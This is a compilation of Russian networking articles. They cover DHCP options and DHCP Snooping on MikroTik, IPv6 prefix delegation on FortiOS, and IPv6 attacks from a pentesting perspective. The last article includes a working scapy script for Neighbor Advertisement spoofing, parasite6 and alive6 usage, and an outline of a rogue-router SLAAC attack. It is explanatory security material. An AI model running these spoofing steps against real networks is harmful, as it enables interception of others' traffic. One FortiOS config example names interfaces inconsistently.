/ip dhcp-server option

add code=121 name=classless value=0x0A0000c0a8580200c0a85801

Подробнее можно прочитать в статье «Mikrotik, DHCP Classless Route».

Option 252. Автоматическая настройка прокси-сервера. Если по каким-то причинам в организации используется непрозрачный прокси, то удобно будет настроить его у клиентов через специальный файл wpad (pac). Пример настройки такого файла разобран в материале «Proxy Auto Configuration (PAC)». К сожалению, в MiroTik нет встроенного веб-сервера для размещения этого файла. Можно использовать для этого пакет hotspot или возможности metarouter, но лучше разместить файл где-либо еще.

Option 82. Одна из полезнейших опций — только не для клиента, а для DHCP-релея. Позволяет передать серверу информацию о порте коммутатора, к которому подключен клиент, и id самого коммутатора. Сервер на основе этой информации в свою очередь может выдать уже клиенту какой-то определенный набор настроек или просто занести в лог — чтобы в случае необходимости найти порт подключения клиента, не приходилось заходить на все свитчи подряд (особенно, если они не в стеке).

После настройки DHCP-Relay на маршрутизаторе в информации о клиентах появятся поля Agent Circuit ID и Agent Remote ID, где первое — идентификатор порта коммутатора, а второе — идентификатор самого коммутатора.

Выдача адресов с option 82.

Информация выдается в шестнадцатиричном формате. Для удобства восприятия при анализе журнала DHCP можно использовать скрипты. Например, решение для решения от Microsoft опубликовано в галерее скриптов Technet под названием «Декорирование DHCP опции 82».

Также опция Option 82 активно используется в системе биллинга провайдеров и при защите сети от посторонних вмешательств. Об этом чуть подробнее.


Ввиду простоты протокола и присутствия широковещательных запросов есть эффективные атаки на инфраструктуру — в основном типа MITM («человек посередине»). Атаки производятся посредством поднятия своего DHCP-сервера или релея: ведь если контролировать выдачу сетевых настроек, можно запросто перенаправить трафик на скомпрометированный шлюз. Для облегчения атаки используется DHCP starvation (представляясь клиентом или релеем, злоумышленник заставляет «родной» DHCP-сервер исчерпать свои IP-адреса). Подробнее про реализацию атаки можно почитать в статье «Атакуем DHCP», методом же защиты является DHCP Snooping.

Это функция коммутатора, которая позволяет «привязать» DHCP-сервер к определенному порту. Ответы DHCP на других портах будут заблокированы. В некоторых коммутаторах можно настроить и работу с Option 82 при ее обнаружении в пакете (что говорит о присутствии релея): отбросить, заменить, оставить без изменения.

В коммутаторах MikroTik включение DHCP Snooping производится в настройках бриджа:

#Включаем dhcp-snooping и option 82

/interface bridge

add name=bridge

set [find where name="bridge"] dhcp-snooping=yes add-dhcp-option82=yes

#ставим настраиваем доверенный порт

/interface bridge port

add bridge=bridge interface=ether1

add bridge=bridge interface=ether2 trusted=yes

Настройка в других коммутаторах происходит аналогичным образом.


Стоит отметить, что не все модели MikroTik имеют полную аппаратную поддержку DHCP Snooping — она есть только у CRS3xx.

Помимо защиты от злых хакеров эта функция избавит от головной боли, когда в сети появляется другой DHCP-сервер — например, когда SOHO-роутер, используемый как свич с точкой доступа, сбрасывает свои настройки. К сожалению, в сетях, где встречается SOHO-оборудование, не всегда бывает грамотная структура кабельной сети с управляемыми маршрутизаторами. Но это уже другой вопрос.

Красивая коммутационная — залог здоровья.

К другим методам защиты можно отнести Port Security («привязка» определенного MAC-адреса к порту маршрутизатора, при обнаружении трафика с других адресов порт будет блокироваться), Анализ трафика на количество DHCP-запросов и ответов или ограничение их количества, ну и, конечно, различные системы IPS\IDS.

Если говорить не только о защите сети, но и о надежности, то не лишним будет упомянуть и про возможности отказоустойчивого DHCP. Действительно, при своей простоте DHCP часто бывает одним из ключевых сервисов, и при выходе его из строя работа организации может быть парализована. Но если просто установить два сервера с идентичными настройками, то ни к чему, кроме конфликта IP-адресов, это не приведет.

Казалось бы, можно поделить область выдачи между двумя серверами, и пусть один выдает одну половину адресов, а второй — другую. Вот только парализованная половина инфраструктуры немногим лучше, чем целая.

Разберем более практичные варианты.

В системах Windows Server начиная с 2012 система резервирования DHCP работает «из коробки», в режиме балансировки нагрузки (active-active) или в режиме отказоустойчивости (active-passive). С подробным описанием технологии и настройками можно ознакомиться в официальной документации. Отмечу, что отказоустойчивость настраивается на уровне зоны, поэтому разные зоны могут работать в разном режиме.

Настройка отказоустойчивости DHCP-сервера в Windows.

В ISC DHCP Server для настройки отказоустойчивости используется директива failover peer, синхронизацию данных предлагается делать самостоятельно — например, при помощи rsync. Подробнее можно почитать в материале «Два DHCP сервера на Centos7…»

Если же делать отказоустойчивое решение на базе MikroTik, то без хитростей не обойтись. Один из вариантов решения задачи был озвучен на MUM RU 18, а затем и опубликован в блоге автора. Если вкратце: настраиваются два сервера, но с разным параметром Delay Threshold (задержка ответа). Тогда выдавать адрес будет сервер с меньшей задержкой, а с большей задержкой — только при выходе из строя первого. Синхронизацию информации опять же приходится делать скриптами.

Лично я в свое время изрядно потрепал себе нервов, когда в сети «случайно» появился роутер, подключенный в локальную сеть и WAN, и LAN интерфейсами.

Расскажите, а вам приходилось сталкиваться с проказами DHCP?

Начинаем работать с IPv6 в операционной системе FortiOS / МУК corporate blog / Habr

Введение и немного теории.

Происхождение протокола IP версии 6 относится к 1998 году к RFC 2460, который описывает IPv6 как протокол-преемник для 4-ой версии. Данный переход связан с предсказуемым исчерпанием адресного пространства в IPv4. Переход от 32-х битных к 128-ми битным адресам позволил увеличить адресное пространство в IPv6 до предела 2 в 128 степени количества адресов. Однако помимо увеличения адресного пространства, в реализации IPv6 достаточно много нововведений, призванных избавить данный протокол от проблем его предшественника. К данным нововведениям можно отнести – отсутствие broadcast, SLAAC, NDP.


SLAAC или stateless auto-configuration можно использовать для автоматической конфигурации IP адресов без учета состояния в том случае, если хостам не нужен определенный IP адрес. SLAAC автоматически настраивает адреса с помощью протокола NDP и маршрутизатора. В отличии от DHCPv6, для реализации технологии SLAAC не требуются дополнительные серверы.

Протокол NDP в свою очередь приходит на замену ARP, ICMP router discovery и ICMP redirect. В IPv6 NDP отвечает за автонастройку адреса конечных точек сети, обнаружения других узлов на линии, обнаружения адреса других узлов на уровне канала связи, обнаружение конфликта адресов, поиск доступных путей и DNS-серверов, обнаружения подсетей и поддержки доступности информации о путях к другим активным соседним узлам.

А что же с DHCP? DHCP для IPv6 можно использовать в том случае, если нужно контролировать назначение IP адресов или же предоставлять настройки DNS. DHCPv6 также может предоставлять другие параметры, опрашивать узлы сети и изменять их адреса. Это stateful DHCPv6. Stateless DHCPv6 может предоставлять дополнительную информацию (например DNS) хостам, которые получили свои IPv6 адреса с помощью автоматической настройки (SLAAC) или ручной адресации.

В операционной системе FortiOS полностью поддерживается протокол IPv6 и начиная с версии FortiOS 5.4 поддерживает достаточно интересную функцию DHCP delegation, которая позволяет интерфейсу устройства получать адреса от подсетей, которые предоставляет DHCP сервер, находящийся за другим интерфейсом. Другими словами, как только сервер DHCP делегировал префиксы клиенту, интерфейс, который связан с локальной сетью (LAN), имеет адрес IPv6 с помощью блока принятого префикса и адреса, используемые в полученном префиксе, можно передавать на других клиентов в локальной сети.

Практика.

Для настройки данного функционала будет воспроизведен реальный случай, когда провайдер отдает на клиента определенный IPv6 префикс.

Упрощенная топология:


В качестве DHCPv6 сервера используется маршрутизатор Cisco, в качестве пограничного устройства, выполняющего DHCPv6 delegation – фаерволл FortiGate в виде виртуальной машины с версией операционной системы 5.4.4. Для клиентской части также используется FortiGate.

Ниже приведены выдержки из конфигурации с комментариями.

Cisco:

#ipv6 dhcp pool dhcpv6

Используем DHCP pool под названием dhcpv6

#prefix-delegation pool dhcpv6-pool1 lifetime 1800 600

Название pool’а, который используется для делегирования префиксов – dhcpv6-pool1

#interface Ethernet0/0
#no ip address
#ipv6 address 2010:AB8:0:1::1/64
– назначаем адрес для интерфейса e0/0
#ipv6 enable
#ipv6 dhcp server dhcpv6
– включаем DHCPv6 сервер на интерфейсе
#exit

Следующей командой определяем название пула префиксов для делегирования. Будет использован пул адресов 2001:DB8:1200::/48, из которых клиенту мы делегируем sub-префиксы /64

#ipv6 local pool dhcpv6-pool1 2001:DB8:1200::/48 64

После этого переходим к настройке пограничного FortiGate.

FortiGate-VM64-KVM # config system interface

Переходим в режим конфигурации сетевых интерфейсов

FortiGate-VM64-KVM (interface) # edit port1

Входим в режим редактирования интерфейса port1

FortiGate-VM64-KVM (port1) # config ipv6

Начинаем настраивать IPv6

FortiGate-VM64-KVM (ipv6) # set dhcp6-prefix-delegation enable

Данной командой включается функционала делегирования префиксов, полученных от провайдера, на downstream интерфейсы фаерволла.

Интерфейс в сторону провайдера настроен, переходим к настройке интерфейса локальной сети. По аналогии с настройками для port1 входим в режим конфигурации IPv6 для интерфейса port2.

#config system interface
#edit «port1»
#config ipv6
#set ip6-mode delegated
– указываем, что будет использоваться делегированный префикс
#set ip6-upstream-interface «port1» – интерфейс, за которым находится DHCPv6 сервер
#set ip6-subnet 2001:db8:1200::1/64
#set ip6-send-adv enable
#config ipv6-delegated-prefix-list
#edit 1
#set upstream-interface «port10»
#set autonomous-flag enable
#set onlink-flag enable
#set subnet 2001:db8:1200::/64
– указываем префикс делегирования
#end
#end
#end

Отдельно стоит остановится на команде Ip6-send-adv – включение или выключение данной опции указывает необходимо ли системе периодически отправлять Router Advertisements и слушать Router Solicitations. Когда данный параметр включен, адрес этого интерфейса будет добавлен в multicast группу All Routers (FF02 :: 02) и включен в Multi Listener Discovery (MLD) report. По умолчанию ip6-send-adv находится в состоянии disable. В этом случае, при включенной опции autoconf, FortiGate будет функционировать как SLAAC клиент.

Проверяем на клиенте с включенным SLAAC.

Включаем autoconf для интерфейса port1 на клиентском фаерволле согласно топологии.

ip6-client # config system interface
ip6-client (interface) # edit port1
ip6-client (port1) # config ipv6
ip6-client (ipv6) # set autoconf enable
ip6-client (ipv6) # end

Отдельной командой проверяем, что все настроено правильно и устройство получило IP адрес.

На этом базовая настройка закончена. Дополнительно можно настроить DHCPv6 сервер на пограничном FortiGate и использовать делегированный IPv6 префикс в качестве pool’a адресов на конечных клиентах.

Настраивается это достаточно просто:

#config system dhcp6 server – переход в режим конфигурации DHCPv6 сервера
#edit 1
#set interface «port2»
– интерфейс, который будет предоставлять DHCP сервис
#set upstream-interface «port1» – интерфейс в сторону провайдера, через который мы получаем наш префикс
#set ip-mode delegated– дополнительно указываем, что настроенный DHCPv6 сервер будет использовать делегированный префикс.
#end

И под конец несколько команд для базовой сетевой диагностики в FortiOS:

# execute interface dhcp6client-renew — обновление DHCPv6 lease на указанном интерфейсе
#get router info6 routing-table database – вывод таблицы маршрутизации для IPv6
#exec ping6 & #exec ping6-options – ping для IPv6 и задание определенных параметров, таких как размер пакета, число повторов, source IP, TTL и т.д.

IPv6 под прицелом — «Хакер»

Содержание статьи

Казалось бы, зачем сейчас вообще вспоминать про IPv6? Ведь несмотря на то, что последние блоки IPv4-адресов были розданы региональным регистраторам, интернет работает без каких-либо изменений. Дело в том, что IPv6 впервые появился в 1995 году, а полностью его заголовок описали в RFC в 1998 году. Почему это важно? Да по той причине, что разрабатывался он без учета угроз, с той же доверительной схемой, что и IPv4. И в процессе разработки стояли задачи сделать более быстрый протокол и с большим количеством адресов, а не более безопасный и защищенный.

 

Кратко про темпы роста

Если изучить графики, которые предоставляет региональный регистратор IP-адресов и автономных систем, то можно обнаружить, что по состоянию на первое сентября 2014 года количество зарегистрированных IPv6 автономных систем уже перевалило за 20%. На первый взгляд, это серьезная цифра. Но если брать во внимание только реальное количество IPv6-трафика в мире, то сейчас это около 6% от всего интернет-трафика в мире, хотя буквально три года назад было всего 0,5%.

Рис. 1. Реальные объемы IPv6-трафика

По самым скромным оценкам ожидается, что к концу 2015 года доля IPv6-трафика дойдет как минимум до 10%. И рост будет продолжаться. Кроме того, недавно вступил в силу специальный протокол для региональных регистраторов. Теперь новый блок IPv4-адресов будет выдан только в том случае, если компания докажет, что уже внедрила у себя IPv6. Поэтому если кому-то потребуется подсеть белых IPv4-адресов — придется внедрять IPv6. Этот факт также послужит дальнейшему росту IPv6-систем и увеличению трафика. Что же касается рядовых пользователей, то уже по всему миру начали проявляться провайдеры, которые предоставляют конечным абонентам честные IPv6-адреса. Поэтому IPv6 будет встречаться все чаще и чаще, и мы не можем оставить это без внимания.

 

Что нового в IPv6?

Первое, что бросается в глаза, — это адреса. Они стали длиннее, записываются в шестнадцатеричном виде и сложно запоминаются. Хотя, поработав некоторое время с IPv6, обнаруживаешь, что адреса в целом запоминаемые, особенно если используются сокращенные формы записи. Напомню, что IPv4 использует 32-битные адреса, ограничивающие адресное пространство 4 294 967 296 (2^32) возможными уникальными адресами. В случае же IPv6 под адрес уже выделено 128 бит. Соответственно, адресов доступно 2^128. Это примерно по 100 адресов каждому атому на поверхности Земли. То есть адресов должно хватить на достаточно длительное время.

Адреса записываются в виде восьми групп шестнадцатеричных значений. Например, IPv6-адрес может выглядеть как 2001:DB8:11::1. Важно отметить, что IPv6-адресов на одном интерфейсе может быть несколько, причем это стандартная ситуация. Например, на интерфейсе может быть частный адрес, белый адрес и еще по DHCPv6 приедет дополнительный адрес. И все будет штатно работать, для каждой задачи будет использоваться свой адрес. Если нужно выйти в мир, то будет использоваться белый адрес. Надо до соседнего сервера? Пойдет через частный адрес. Все это будет решаться обычным анализом поля destination.

Все IPv6-адреса делятся на две группы: линк-локал и глобал юникаст. По названию очевидно, что Link local — это адрес, который используется только в пределах одного линка. Такие адреса в дальнейшем применяются для работы целого ряда механизмов вроде автоматической настройки адреса, обнаружения соседей, при отсутствии маршрутизатора и тому подобное. Для выхода в мир такие адреса использовать не допускается. Линк-локал адрес назначается автоматически, как только хост выходит онлайн, чем-то отдаленно такие адреса похожи на механизм APIPA в ОС Windows. Такой адрес всегда начинается с FE80, ну а последние 64 бита — это мак-адрес с FFFE, вставленными посередине, плюс один бит инвертируется. Механизм формирования такого адреса еще называется EUI-64. В итоге адрес будет уникальный, так как мак-адреса обычно отличаются у всех хостов. Но некоторые ОС используют рандомный идентификатор вместо механизма EUI-64.

 

Что еще нового

Только адресами изменения, естественно, не заканчиваются. Еще был значительно упрощен заголовок (см. рис. 2).

Рис. 2. Сравнение заголовков IPv6 и IPv4

Теперь все, что не является обязательным для маршрутизации пакета из точки в А в точку Б, стало опциональным. А раз опциональное — значит, переезжает в extension header, который лежит между IPv6-заголовком и TCP/UDP-данными. В этом самом extension-заголовке уже и проживают фрагментирование, IPsec, source routing и множество другого функционала.

Резко упростили задачу маршрутизаторам, ведь уже не надо пересчитывать контрольные суммы, и в итоге IPv6 обрабатывается быстрее, чем IPv4. Контрольные суммы убрали вовсе. Во-первых, у фрейма на уровне L2 есть CRC, во-вторых, вышележащие протоколы (TCP) тоже будут обеспечивать целостность доставки. В итоге из заголовка выбросили лишние поля, стало проще, быстрее и надежнее.

 

Aвтоконфигурирование и служебные протоколы

Существует два основных варианта назначения IPv6-адресов: stateless autoconfiguration — это когда роутер отправляет клиентам адрес сети, шлюза по умолчанию и прочую необходимую информацию и statefull autoconfiguration — когда используется DHCPv6-сервер. Поэтому если раньше DHCP был единственным вариантом раздачи информации, то в IPv6 он стал дополнительным.

ICMP 6-й версии тоже не остался без внимания, в него было добавлено множество фич. Например, механизм Router discovery — клиенты могут слушать, что сообщает им роутер (сообщения ICMPv6 тип 134 router advertisement, которые приходят в рамках процесса stateless autoconfiguration), и при включении могут сразу звать роутер на помощь, мол, помоги сконфигуриться (сообщения ICMPv6 тип 133 router solicitation).

Еще добавили механизм Neighbor discovery — можно сказать, что это своеобразная замена ARP, которая помогает находить мак-адреса соседей, маршрутизаторы и даже обнаруживать дублирующиеся адреса в сегменте (duplicate address detection DaD), работает исключительно по мультикасту. Чистого бродкаста в IPv6 уже нет, но не нужно забывать, что глупые копеечные свичи весь мультикаст рассылают широковещательно, в итоге часть новых механизмов сводится на нет.

 

Инструментарий пентестера IPv6

Перед тем как перейти к уязвимостям и атакам, неплохо бы рассмотреть, какие есть инструменты в арсенале пентестера. До недавнего времени существовал только один набор утилит для проведения атак на протоколы IPv6 и ICMPv6. Это был THC-IPV6 от небезызвестного Марка ван Хаузера, того самого автора брутфорсера THC-hydra и массы других незаменимых инструментов. Именно он в 2005 году серьезно заинтересовался этой темой и вплотную занялся ресерчем протокола IPv6. И до недавнего времени оставался первопроходцем, но в последний год ситуация начала меняться. Все больше исследователей обращают свое внимание на IPv6, и, соответственно, стали появляться новые утилиты и новые сканеры. Но на сегодня THC-IPV6 по-прежнему остается лучшим набором утилит для пентестера. В его комплект входит уже более 60 инструментов, разделенных на различные категории — от сканирования и митмов до флудинга и фаззинга. Но не будем забывать и тру инструмент scapy — утилиту, которая позволяет вручную создавать любые пакеты, с любыми заголовками, даже если такие вариации не предусмотрены ни в одном RFC.

 

Разведка в IPv6-сетях

Перед тем как атаковать цель, нужно ее как-то обнаружить, поэтому стандартный пентест обычно начинается с поиска живых хостов. Но здесь появляется проблема: мы не можем просканировать весь диапазон. Сканирование всего одной подсети затянется на годы, даже если отправлять миллион пакетов в секунду. Причина в том, что всего лишь подсеть /64 (или их еще называют префиксами) больше, чем весь интернет сегодня, причем значительно больше. Поэтому самая большая проблема с IPv6 — это обнаружение целей.

К счастью, выход есть. Вначале нужно будет найти AS (автономную систему), которая принадлежит цели (объекту пентеста). Сервисов, позволяющих искать по AS их владельцев, вполне достаточно, можно это делать прямо на сайтах региональных регистраторов (европейский регистратор — это RIPE NCC). Затем, зная номер AS, принадлежащей конкретной компании, можно уже искать выделенные ей IPv6-подсети. Самый удобный такой поисковый сервис предоставляет Hurricane Electric. В итоге можно найти несколько огромных подсетей, которые, как мы уже убедились, нереально просканировать на предмет живых хостов. Поэтому нужно составлять список часто используемых адресов и проводить сканирование уже точечно по ним.

Каким образом можно собрать такой словарь? Если проанализировать, как в компаниях, которые уже внедрили IPv6, назначаются адреса клиентам, то можно выделить три основные группы: автоконфигурация, ручное назначение адресов и DHCPv6.

Автоконфигурация может осуществляться тремя способами: на основе мак-адреса, с использованием privacy option (то есть рандомно и, например, меняться раз в неделю) и fixed random (полностью случайным образом). В данной ситуации возможно сканировать только те адреса, что строятся на основе мака. В результате могут выйти подсети, сравнимые по размеру с IPv4 класса А, процесс работы с такими сетями не очень быстрый, но все равно это уже вполне реально. Например, зная, что в целевой компании массово используются ноутбуки определенного вендора, можно строить сканирование, основываясь на знаниях о том, как будет формироваться адрес.

Если адреса задаются вручную, то они могут назначаться либо случайным образом, либо по некому шаблону. Второе, естественно, в жизни встречается гораздо чаще. А паттерн может быть ::1,::2,::3 или ::1001,::1002,::1003. Также иногда в качества адреса используются порты сервисов, в зависимости от сервера: например, веб-сервер может иметь адрес ::2:80.

Если же брать DHCPv6, то в этом случае обычно адреса раздаются последовательно из пула (точно такое же поведение можно наблюдать и с обычным DHCPv4-сервером). Зачастую в DHCPv6 можно встретить пул вроде ::1000-2000 или ::100-200. Поэтому в итоге берем утилиту alive6 (она включена в комплект THC-IPV6 и, как и все рассматриваемые сегодня инструменты, по дефолту входит в Kali Linux) и запускаем в таком виде:

Alive: 2001:db8:238:1::2 [ICMP echo-reply]
Alive: 2001:db8:238:3::1 [ICMP echo-reply]
Alive: 2001:db8:238:3::2 [ICMP echo-reply]
Alive: 2001:db8:238:300::1 [ICMP echo-reply]
Scanned 65536 systems in 29 seconds and found 4 systems alive

При таком обнаружении живых машин будет меняться только часть, отвечающая за адрес хоста. Используя такой подход, можно достаточно эффективно и в разумные временные рамки находить живые хосты в обнаруженных ранее подсетях.

Но это еще не все — естественно, можно использовать и DNS. С приходом IPv6 никуда не делись трансферы DNS-зоны и брутфорсы DNS по словарю. Применив все эти техники вместе, можно обнаруживать до 80% всех включенных хостов в заданной IPv6-подсети, что очень неплохо. В случае же компрометации одного лишь хоста обнаружить всех его соседей не составит никакого труда при помощи мультикаста. Достаточно будет запустить ту же утилиту alive6, только уже с ключом -l.

Из свежих фич THC-IPV6, и в частности утилиты alive6, можно отметить возможность искать живые хосты, передавая в качестве паттерна для перебора целую IPv4-подсеть:

Если же брать классическое сканирование, то здесь практически ничего не изменилось. Тот же Nmap, те же варианты сканирования портов, единственное отличие в том, что теперь сканировать можно только один хост за раз, но это вполне очевидное решение.

Пожалуй, единственная дополнительная техника при сканировании портов — это сканирование IPv4 вначале, а затем получение IPv6-информации по этим хостам. То есть некое расширение поверхности атаки. Для этого можно использовать как вспомогательный модуль метасплойта ipv6_neighbor, так и отдельные скрипты ipv6_surface_analyzer. Работают они по схожему принципу — принимают на входе IPv4-подсеть, сканируют ее, находят живые хосты, проверяют порты на открытость, а затем, определив MAC-адрес, высчитывают по нему IPv6-адрес и уже пробуют работать по нему. Иногда это действительно помогает, но в некоторых случаях (privacy option) IPv6-адреса обнаружить не удается, даже несмотря на то, что они есть.

 

Угрозы периметра IPv6

Если рассмотреть внешний периметр, то можно обнаружить, что многие компании, которые уже начали внедрять IPv6, не спешат закрывать свои административные порты (SSH, RDP, Telnet, VNC и так далее). И если IPv4 уже почти все стараются как-то фильтровать, то про IPv6 или забывают, или не знают, что их нужно защищать так же, как и в случае с IPv4. И если можно отчасти понять используемый IPv4 телнет — например, ограниченная память или CPU не позволяют в полной мере использовать SSH, — то каждое устройство, которое поддерживает сегодня IPv6, просто гарантированно будет поддерживать и протокол SSH. Бывают даже случаи, когда ISP выставляют в мир административные порты IPv6 на своих роутерах. Выходит, что даже провайдеры более уязвимы к IPv6-атакам. Происходит это по различным причинам. Во-первых, хороших IPv6-файрволов еще не так много, во-вторых, их еще нужно купить и настроить. Ну и самая главная причина — многие даже и не подозревают об угрозах IPv6. Также бытует мнение, что пока нет IPv6-хакеров, малвари и IPv6-атак, то и защищаться вроде как не от чего.

 

Угрозы, поджидающие внутри LAN

Если вспомнить IPv4, то там обнаружится три атаки, которые эффективны и по сей день в локальных сетях, — это ARP spoofing, DHCP spoofing, а также ICMP-редиректы (подробно этот класс атак освещался во время моего выступления на PHDays, так что можешь поискать соответствующее видео в Сети).

В случае же протокола IPv6, когда атакующий находится в одном локальном сегменте с жертвой, ситуация, как ни странно, остается примерно такой же. Вместо ARP появился NDP, на смену DHCP пришла автоконфигурация, а ICMP просто обновился до ICMPv6. Важно то, что концепция атак осталась практически без изменений. Но кроме того, добавились новые механизмы вроде DAD, и, соответственно, сразу же появились новые векторы и новые атаки.

Протокол обнаружения соседей (Neighbor Discovery Protocol, NDP) — это протокол, с помощью которого IPv6-хосты могут обнаружить друг друга, определить адрес канального уровня другого хоста (вместо ARP, который использовался в IPv4), обнаружить маршрутизаторы и так далее. Чтобы этот механизм работал, а работает он с использованием мультикаста, каждый раз, когда назначается линк-локал или глобал IPv6-адрес на интерфейс, хост присоединяется к мультикаст-группе. Собственно, используется всего два типа сообщений в процессе neighbor discovery: запрос информации или NS (neighbor solicitation) и предоставление информации — NA (neighbor advertisement). Взаимодействие в таком режиме можно увидеть на рис. 3.

Рис. 3. Штатная работа ND

В результате атакующему нужно всего лишь запустить утилиту parasite6, которая будет отвечать на все NS, пролетающие в отдельно взятом сегменте (см. рис. 4). Перед этим нужно не забыть включить форвардинг (echo 1 > /proc/sys/net/ipv6/conf/all/forwarding), в противном случае произойдет не MITM-атака, а DoS.

Рис. 4. Работа утилиты parasite6
INFO

При использовании протокола IPv4 и ARP достаточно полезно было иногда смотреть ARP-кеш, что на линуксе, что на Windows-платформе это можно было сделать, используя команду arp -a.
Теперь же, в случае IPv6, в линуксе, чтобы посмотреть соседей, используется команда ip -6 neighbor show, а в Windows среде это можно сделать командой netsh interface ipv6 show neighbors.

Минусами такой атаки является то, что атакующий будет пытаться отравить ND-кеш всех хостов, что, во-первых, шумно, во-вторых, затруднительно в случае больших объемов трафика. Поэтому можно взять scapy и провести эту атаку вручную и прицельно. Сначала необходимо заполнить все необходимые переменные.

>> ether=Ether(src=»00:00:77:77:77:77″,dst=»00:0c:29:0e:af:c7″)

Вначале идут адреса канального уровня, в качестве адреса отправителя выступает мак-адрес атакующего, в качестве адреса получателя — мак-адрес жертвы.

>> ipv6=IPv6(src=»fe80::20d:edff:fe00:1″,dst=»fe80::fdc7:6725:5b28:e293″)

Далее задаются адреса сетевого уровня, адрес отправителя спуфится (на самом деле это адрес роутера), адрес получателя — это IPv6-адрес жертвы.

>> na=ICMPv6ND_NA(tgt=»fe80::20d:edff:fe00:1″, R=0, S=0, O=1)

Третьей переменной нужно указать правильно собранный пакет NA, где ICMPv6ND_NA — это ICMPv6 Neighbor Discovery — Neighbor Advertisement, а tgt — это собственно адрес роутера, который анонсируется как адрес атакующего. Важно правильно установить все флаги: R=1 означает, что отправитель является роутером, S=1 скажет о том, что анонс отправляется в ответ на NS-сообщение, ну а O=1 — это так называемый override-флаг.

>> lla=ICMPv6NDOptDstLLAddr(lladdr=»00:00:77:77:77:77″)

Следующая переменная — это линк-локал адрес ICMPv6NDOptDstLLAddr (ICMPv6 Neighbor Discovery Option — Destination Link-Layer). Это мак-адрес атакующего.

>> packet=ether/ipv6/na/lla

Осталось собрать пакет в единое целое, и можно отправлять такой пакет в сеть.

>> sendp(packet,loop=1,inter=3)

Значение loop=1 говорит о том, что отправлять нужно бесконечно, через каждые три секунды.

В итоге через некоторое время жертва обновит свой кеш соседей и будет отправлять весь трафик, который предназначается маршрутизатору, прямо в руки атакующему. Нужно отметить, что для того, чтобы создать полноценный MITM, потребуется запустить еще один экземпляр scapy, где адреса будут инвертированы для отравления роутера. Как видишь, ничего сложного.

Также стоит отметить, что в IPv6 не существует понятия gratuitous NA, как это было во времена ARP (gratuitous ARP — это ARP-ответ, присланный без запроса). Но вместе с тем кеш ND живет недолго и быстро устаревает. Это было разработано, чтобы избегать отправки пакетов на несуществующие MAC-адреса. Поэтому в сети IPv6 обмен сообщениями NS — NA происходит очень часто, что сильно играет на руку атакующему.

 

Угрозы конечных хостов

И раз уж заговорили про RA, то плавно перейдем к угрозам конечных хостов, и в частности к тем хостам, работа которых с IPv6 не планировалась. То есть рассмотрим атаку на хосты, работающие в дефолтной конфигурации IPv6, в обычной IPv4-сети. Что произойдет, если любая современная ОС получит пакет RA? Так как любая система сейчас поддерживает IPv6 и ожидает такие пакеты, то она сразу превратится в так называемый дуал стек. Это ситуация, когда в пределах одной ОС используется и IPv4, и IPv6 одновременно. При этом сразу же откроется целый ряд ранее недоступных векторов. Например, можно будет сканировать цель, ведь IPv4 обычно фильтруется, а про IPv6, как уже знаем, зачастую вообще не думают.

Кроме того, в большинстве ОС IPv6 имеет приоритет над IPv4. Если, например, придет запрос DNS, то большая вероятность, что IPv6 сработает раньше. Это открывает огромный простор для различных MITM-атак. Для проведения одной из самых эффективных потребуется разместить свой зловредный IPv6-маршрутизатор. Каждый маршрутизатор IPv6 должен присоединиться к специальной мультикаст-группе. Это FF02::2. Как только роутер присоединится к такой мультикаст-группе, он сразу же начинает рассылать сообщения — RA. Сisco-роутеры рассылают их каждые 200 с по дефолту. Еще один нюанс состоит в том, что клиентам не нужно ждать 200 с, они отправляют RS-сообщение — Router Solicitation — на этот мультикаст-адрес и таким образом незамедлительно требуют всю информацию. Весь этот механизм называется SLAAC — Stateless Address Autoconfiguration. И соответственно была разработана атака на него с очевидным названием SLAAC Attack.

Атака заключается в том, что нужно установить свой роутер (не стоит понимать буквально, в роли роутера может выступать любой линукс или даже виртуальная машина), который будет рассылать сообщения RA, но это только полдела. Также атакующему потребуется запустить DHCPv6-сервер, DNSv6 и NAT64-транслятор. В качестве сервиса, способного рассылать сообщения RA, можно использовать Router Advertisement Daemon (radvd), это опенсорсная реализация IPv6-роутера. В итоге после правильной конфигурации всех демонов жертва получит RA и превратится в дуал стек и весь трафик жертвы будет абсолютно незаметно идти через IPv6.

 

 

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *